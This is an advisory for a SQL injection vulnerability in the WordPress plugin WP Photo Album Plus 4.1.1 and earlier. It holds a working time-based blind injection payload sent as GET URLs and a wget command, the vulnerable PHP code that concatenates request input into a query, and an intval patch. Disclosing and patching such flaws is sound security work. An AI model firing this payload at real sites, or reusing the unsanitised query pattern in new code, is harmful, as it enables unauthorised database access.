WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability

# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)

---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
        if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

        $separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&amp;wppa-slide' : '';

Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
        if (isset($_GET['wppa-'.$index])) {             // New syntax first
                return $_GET['wppa-'.$index];
        }
        if (isset($_GET[$index])) {                             // Old syntax
                return $_GET[$index];
        }
        return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
        if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
        else $result = '';
echo $result;
        return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****
 
  function wppa_get_album_title_linktype($alb) {
  global $wpdb;
!
   if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
   else $result = '';
  //echo $result;
--- 3361,3367 ----
 
  function wppa_get_album_title_linktype($alb) {
  global $wpdb;
!  $alb=intval($alb);
   if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
   else $result = '';
  //echo $result;
***************
*** 3384,3387 ****
  global $wppa;
 
   if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
  global $wppa;
 
   if ( $wppa['any'] ) echo $wppa['searchresults'];
! }